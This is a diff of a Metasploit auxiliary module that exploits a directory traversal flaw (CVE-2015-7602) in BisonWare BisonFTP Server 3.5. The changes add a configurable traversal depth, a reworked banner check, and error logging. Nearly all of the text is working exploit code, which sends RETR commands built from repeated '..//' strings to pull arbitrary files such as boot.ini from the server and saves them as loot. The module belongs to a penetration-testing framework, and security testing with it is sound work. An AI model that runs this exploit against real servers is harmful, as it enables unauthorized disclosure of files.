@@ -13,42 +13,47 @@ class Metasploit3 < Msf::Auxiliary
13
13
14
14
def initialize ( info = { } )
15
15
super ( update_info ( info ,
16
- 'Name' => 'BisonWare BisonFTP Server Directory Traversal Information Disclosure' ,
17
- 'Description' => %q{
16
+ 'Name' => 'BisonWare BisonFTP Server 3.5 Directory Traversal Information Disclosure' ,
17
+ 'Description' => %q{
18
18
This module exploits a directory traversal vulnerability found in BisonWare BisonFTP server
19
19
version 3.5. This vulnerability allows an attacker to download arbitrary files from the server
20
20
by crafting a RETR command including file system traversal strings such as '..//.'
21
21
} ,
22
- 'Platform' => 'win' ,
23
- 'Author' =>
22
+ 'Platform' => 'win' ,
23
+ 'Author' =>
24
24
[
25
- 'Jay Turla <@shipcod3> ' , # msf and initial discovery
25
+ 'Jay Turla' , # @shipcod3, msf and initial discovery
26
26
'James Fitts' ,
27
- 'Brad Wolfe' # brad.wolfe[at]gmail.com
27
+ 'Brad Wolfe < brad.wolfe[at]gmail.com>'
28
28
] ,
29
- 'License' => MSF_LICENSE ,
30
- 'References' =>
29
+ 'License' => MSF_LICENSE ,
30
+ 'References' =>
31
31
[
32
32
[ 'EDB' , '38341' ] ,
33
33
[ 'CVE' , '2015-7602' ]
34
34
] ,
35
- 'DisclosureDate' => 'Sep 28 2015' ) )
35
+ 'DisclosureDate' => 'Sep 28 2015'
36
+ ) )
36
37
37
38
register_options (
38
39
[
40
+ OptInt . new ( 'DEPTH' , [ true , 'Traversal Depth (to reach the root folder)' , 32 ] ) ,
39
41
OptString . new ( 'PATH' , [ true , "Path to the file to disclose, releative to the root dir." , 'boot.ini' ] )
40
42
] , self . class )
41
43
42
44
end
43
45
44
- def check
45
- connect
46
- disconnect
47
- if ( banner =~ /BisonWare BisonFTP server product V3.5/ )
48
- return Exploit ::CheckCode ::Appears
49
- else
50
- return Exploit ::CheckCode ::Safe
46
+ def check_host ( ip )
47
+ begin
48
+ connect
49
+ if /BisonWare BisonFTP server product V3\. 5/i === banner
50
+ return Exploit ::CheckCode ::Appears
51
+ end
52
+ ensure
53
+ disconnect
51
54
end
55
+
56
+ Exploit ::CheckCode ::Safe
52
57
end
53
58
54
59
def run_host ( target_host )
@@ -60,7 +65,7 @@ def run_host(target_host)
60
65
file = ::File . basename ( file_path )
61
66
62
67
# make RETR request and store server response message...
63
- retr_cmd = ( "..//" * 32 ) + "#{ file_path } "
68
+ retr_cmd = ( "..//" * datastore [ 'DEPTH' ] ) + "#{ file_path } "
64
69
res = send_cmd ( [ "RETR" , retr_cmd ] )
65
70
66
71
# read the file data from the socket that we opened
@@ -73,15 +78,16 @@ def run_host(target_host)
73
78
74
79
# store file data to loot
75
80
loot_file = store_loot ( "bisonware.ftp.data" , "text" , rhost , response_data , file , file_path )
76
- print_status ( "Stored #{ file_path } to #{ loot_file } " )
77
-
78
- # Read and print the data from the loot file.
79
- info_disclosure = print_line ( loot_file )
80
- print_status ( "Printing contents of #{ file_path } " )
81
- print_good ( "Result:\n #{ info_disclosure } " )
81
+ vprint_status ( "Data returned:\n " )
82
+ vprint_line ( response_data )
83
+ print_good ( "Stored #{ file_path } to #{ loot_file } " )
82
84
83
- rescue ::Rex ::ConnectionRefused , ::Rex ::HostUnreachable , ::Rex ::ConnectionTimeout
84
- rescue ::Timeout ::Error , ::Errno ::EPIPE
85
+ rescue ::Rex ::ConnectionRefused , ::Rex ::HostUnreachable , ::Rex ::ConnectionTimeout => e
86
+ vprint_error ( e . message )
87
+ elog ( "#{ e . class } #{ e . message } #{ e . backtrace * "\n " } " )
88
+ rescue ::Timeout ::Error , ::Errno ::EPIPE => e
89
+ vprint_error ( e . message )
90
+ elog ( "#{ e . class } #{ e . message } #{ e . backtrace * "\n " } " )
85
91
ensure
86
92
data_disconnect
87
93
disconnect
0 commit comments